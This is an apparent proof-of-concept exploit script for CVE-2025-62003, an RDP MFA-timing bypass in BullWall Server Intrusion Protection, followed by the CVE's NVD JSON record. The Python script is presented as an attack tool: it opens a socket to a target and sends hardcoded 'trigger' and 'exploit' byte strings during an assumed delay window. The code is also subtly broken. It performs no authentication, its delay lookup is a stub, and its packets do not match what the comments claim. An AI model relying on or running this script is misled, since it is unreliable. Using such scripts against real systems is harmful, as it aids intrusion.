CVE-2025-62003

# CVE-2025-62003 PoC - BullWall MFA Bypass # This PoC demonstrates the timing vulnerability in MFA check import socket import time import sys def exploit_mfa_bypass(target_ip, target_port=3389): """ Exploit MFA bypass vulnerability by sending commands during delay window. Prerequisites: - Valid credentials for target system - BullWall Server Intrusion Protection with vulnerable configuration """ print(f"[*] Connecting to {target_ip}:{target_port}") # Step 1: Establish initial RDP connection with valid credentials sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print("[+] Initial RDP connection established") # Step 2: Trigger MFA check send_mfa_trigger(sock) print("[+] MFA check triggered, delay window opened") # Step 3: Calculate delay - configuration dependent, typically 1-5 seconds delay_time = get_mfa_delay_config(target_ip) print(f"[*] Detected MFA delay: {delay_time} seconds") # Step 4: Execute malicious commands during delay window start_time = time.time() while time.time() - start_time < delay_time: send_exploit_payload(sock) time.sleep(0.1) print("[+] Exploit completed during MFA delay window") sock.close() def send_mfa_trigger(sock): """Send MFA trigger packet""" mfa_packet = b'\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00' sock.send(mfa_packet) def get_mfa_delay_config(target_ip): """Retrieve MFA delay configuration from BullWall""" # In real attack, this would query BullWall configuration return 3.0 # Default delay in seconds def send_exploit_payload(sock): """Send malicious payload during delay window""" # Payload to execute during MFA bypass window exploit_packet = b'\x03\x00\x00\x15\x02\xf0\x80\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' sock.send(exploit_packet) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62003.py <target_ip>") sys.exit(1) exploit_mfa_bypass(sys.argv[1])

{"cve": {"id": "CVE-2025-62003", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-18T21:15:54.237", "lastModified": "2026-01-15T20:16:04.160", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BullWall Server Intrusion Protection has a noticeable configuration-dependent delay before the MFA check for RDP connections. A remote, authenticated attacker can potentially bypass detection during this delay. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions may also be affected."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0C87A4BD-8446-495A-858F-350C7A123953"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "CBB35A27-59EA-4D0A-A6F7-75104CDFCB8D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "371D0AA2-A7EB-4FBF-AC12-A6496CC72319"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "E1B28813-CED9-4AD4-9653-CEAEAFECD8EE"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-352-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62003", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}